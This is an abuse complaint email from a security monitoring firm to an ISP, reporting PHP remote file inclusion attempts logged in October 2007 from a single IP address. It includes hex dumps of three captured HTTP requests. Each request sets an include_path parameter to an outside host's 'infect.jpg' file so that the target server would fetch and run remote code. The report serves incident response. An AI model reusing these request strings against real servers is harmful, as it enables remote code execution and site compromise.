rendered paste bodySubject: PHP remote application execution attempt
To: abuse@netsonic.net
From: Incident Reports < please_do_not_reply@securepipe.com>
Complaint ID: [securepipme.com #154878831]
The following is a complaint against an IP or domain which appeared in our
logs, indicating possible network abuse. Should you need to contact us
regarding this matter, please email:
incident.inquiry-154878831@securepipe.com
A user, apparently from your network, initiated a network connection
to a target computer that we manage. We consider the network traffic
inappropriate or hostile. The following data describes the network
traffic in question.
Times are in UTC.
[ 1] Oct-12-2007 23:14:31 2007 UTC 66.180.173.59:63021 -> x.x.10.184:80 TCP 226 bytes data
0000 47 45 54 20 2f 77 65 62 2f 53 69 74 65 42 75 69 GET /web/SiteBui
0010 6c 64 65 72 2f 42 72 61 64 79 42 49 53 42 76 31 lder/BradyBISBv1
0020 72 30 2e 6e 73 66 2f 46 4c 56 2f 69 6e 63 6c 75 r0.nsf/FLV/inclu
0030 64 65 73 2f 73 65 74 74 69 6e 67 73 2e 69 6e 63 des/settings.inc
0040 2e 70 68 70 3f 69 6e 63 6c 75 64 65 5f 70 61 74 .php?include_pat
0050 68 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 63 66 72 h=http://www.cfr
0060 2e 63 6c 2f 69 6e 66 65 63 74 2e 6a 70 67 3f 20 .cl/infect.jpg?
0070 48 54 54 50 2f 31 2e 31 0d 0a 54 45 3a 20 64 65 HTTP/1.1..TE: de
0080 66 6c 61 74 65 2c 67 7a 69 70 3b 71 3d 30 2e 33 flate,gzip;q=0.3
0090 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 54 45 ..Connection: TE
00a0 2c 20 63 6c 6f 73 65 0d 0a 48 6f 73 74 3a 20 77 , close..Host: w
00b0 77 77 2e 62 72 61 64 79 2e 63 6f 6d 2e 62 72 0d ww.brady.com.br.
00c0 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 6c 69 62 .User-Agent: lib
00d0 77 77 77 2d 70 65 72 6c 2f 35 2e 38 30 35 0d 0a www-perl/5.805..
00e0 0d 0a ..
[ 2] Oct-12-2007 23:14:31 2007 UTC 66.180.173.59:63022 -> x.x.10.184:80 TCP 188 bytes data
0000 47 45 54 20 2f 69 6e 63 6c 75 64 65 73 2f 73 65 GET /includes/se
0010 74 74 69 6e 67 73 2e 69 6e 63 2e 70 68 70 3f 69 ttings.inc.php?i
0020 6e 63 6c 75 64 65 5f 70 61 74 68 3d 68 74 74 70 nclude_path=http
0030 3a 2f 2f 77 77 77 2e 63 66 72 2e 63 6c 2f 69 6e ://www.cfr.cl/in
0040 66 65 63 74 2e 6a 70 67 3f 20 48 54 54 50 2f 31 fect.jpg? HTTP/1
0050 2e 31 0d 0a 54 45 3a 20 64 65 66 6c 61 74 65 2c .1..TE: deflate,
0060 67 7a 69 70 3b 71 3d 30 2e 33 0d 0a 43 6f 6e 6e gzip;q= 0.3..Conn
0070 65 63 74 69 6f 6e 3a 20 54 45 2c 20 63 6c 6f 73 ection: TE, clos
0080 65 0d 0a 48 6f 73 74 3a 20 77 77 77 2e 62 72 61 e..Host: www.bra
0090 64 79 2e 63 6f 6d 2e 62 72 0d 0a 55 73 65 72 2d dy.com.br..User-
00a0 41 67 65 6e 74 3a 20 6c 69 62 77 77 77 2d 70 65 Agent: libwww-pe
00b0 72 6c 2f 35 2e 38 30 35 0d 0a 0d 0a rl/5.805....
[ 3] Oct-12-2007 23:14:31 2007 UTC 66.180.173.59:63023 -> x.x.10.184:80 TCP 222 bytes data
0000 47 45 54 20 2f 77 65 62 2f 53 69 74 65 42 75 69 GET /web/SiteBui
0010 6c 64 65 72 2f 42 72 61 64 79 42 49 53 42 76 31 lder/BradyBISBv1
0020 72 30 2e 6e 73 66 2f 69 6e 63 6c 75 64 65 73 2f r0.nsf/includes/
0030 73 65 74 74 69 6e 67 73 2e 69 6e 63 2e 70 68 70 settings.inc.php
0040 3f 69 6e 63 6c 75 64 65 5f 70 61 74 68 3d 68 74 ?include_path=ht
0050 74 70 3a 2f 2f 77 77 77 2e 63 66 72 2e 63 6c 2f tp://www.cfr.cl/
0060 69 6e 66 65 63 74 2e 6a 70 67 3f 20 48 54 54 50 infect.jpg? HTTP
0070 2f 31 2e 31 0d 0a 54 45 3a 20 64 65 66 6c 61 74 /1.1..TE: deflat
0080 65 2c 67 7a 69 70 3b 71 3d 30 2e 33 0d 0a 43 6f e,gzip;q=0.3..Co
0090 6e 6e 65 63 74 69 6f 6e 3a 20 54 45 2c 20 63 6c nnection: TE, cl
00a0 6f 73 65 0d 0a 48 6f 73 74 3a 20 77 77 77 2e 62 ose..Host: www.b
00b0 72 61 64 79 2e 63 6f 6d 2e 62 72 0d 0a 55 73 65 rady.com.br..Use
00c0 72 2d 41 67 65 6e 74 3a 20 6c 69 62 77 77 77 2d r-Agent: libwww-
00d0 70 65 72 6c 2f 35 2e 38 30 35 0d 0a 0d 0a perl/5.805....
We appreciate your assistance in resolving this matter.